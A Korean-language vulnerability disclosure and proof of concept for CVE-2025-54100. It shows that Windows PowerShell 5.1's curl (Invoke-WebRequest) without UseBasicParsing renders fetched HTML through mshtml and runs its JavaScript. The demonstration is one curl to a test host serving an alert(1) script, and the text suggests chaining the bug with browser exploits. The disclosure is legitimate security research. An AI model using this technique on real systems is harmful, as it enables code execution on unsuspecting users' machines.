
# CVE-2025-54100 개념 증명: PowerShell의 Invoke-WebRequest에서 mshtml.HTMLDocumentClass를 통한 XSS, 악성 JavaScript를 curl할 때 원격 코드 실행을 가능하게 함
Powershell의 curl은 내부적으로 Invoke-WebRequest를 사용합니다.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
UseBasicParsing 매개변수의 문서를 살펴보면,
이 매개변수는 더 이상 사용되지 않습니다. PowerShell 6.0.0부터 모든 웹 요청은 기본 구문 분석만 사용합니다. 이 매개변수는 이전 버전과의 호환성을 위해서만 포함되며, 이를 사용해도 cmdlet의 작동에는 아무런 영향이 없습니다.
문제는 Powershell의 Invoke-WebRequest cmdlet의 UseBasicParsing에 있습니다. UseBasicParsing은 기본 구문 분석을 사용하므로 어떤 JavaScript 코드도 평가하지 않습니다. 단지 텍스트를 읽어서 구문 분석할 뿐입니다.
이 매개변수가 제공되지 않으면 Invoke-WebRequest는 내부적으로 Internet Explorer를 실행하고 를 사용하여 HTML 코드를 실제로 평가하면서 구문 분석을 시도합니다. JavaScript 코드를 호스팅하는 웹사이트에 요청을 수행하면 클라이언트 브라우저에서 코드가 실행됩니다. 우리의 경우에는 Windows 터미널입니다.
mshtml.HTMLDocumentClasscurlmshtml.HTMLDocumentClass 문서는 아래에서 확인할 수 있습니다.
위의 첫 번째 문서에서 수명 주기를 살펴보면 다음과 같은 것을 알 수 있습니다,
Windows PowerShell 5.1 2016년 8월 - Windows 10 기념 업데이트 및 Windows Server 2016에서 출시, WMF 5.1 PowerShell 6.0 2018년 1월 20일 - 2019년 2월 13일 .NET Core 2.0 기반으로 구축 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
조사 결과, 최신 버전의 Windows 11, Server 22 및 25에는 XSS 공격에 취약한 이전 버전의 PowerShell(5.1 및 기본값)이 포함되어 있음을 확인했습니다.
새로운 Windows Server 22 설치,

공격은 매우 간단합니다;
curl을 실행하면 실행이 표시됩니다.
PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
open("about:blank") 같은 것을 실행하는 등 창의적인 방법을 사용할 수 있습니다.

또한 이 취약점은 안정적인 실행을 위해 브라우저 익스플로잇과 같은 더 큰 공격 체인에 사용되거나 브라우저 렌더링을 강제하는 데 사용될 수 있다는 점을 고려해야 합니다.
심각도: 중요, 보안 영향: 원격 코드 실행으로 분류되어 $5,000 현상금이 수여되었습니다.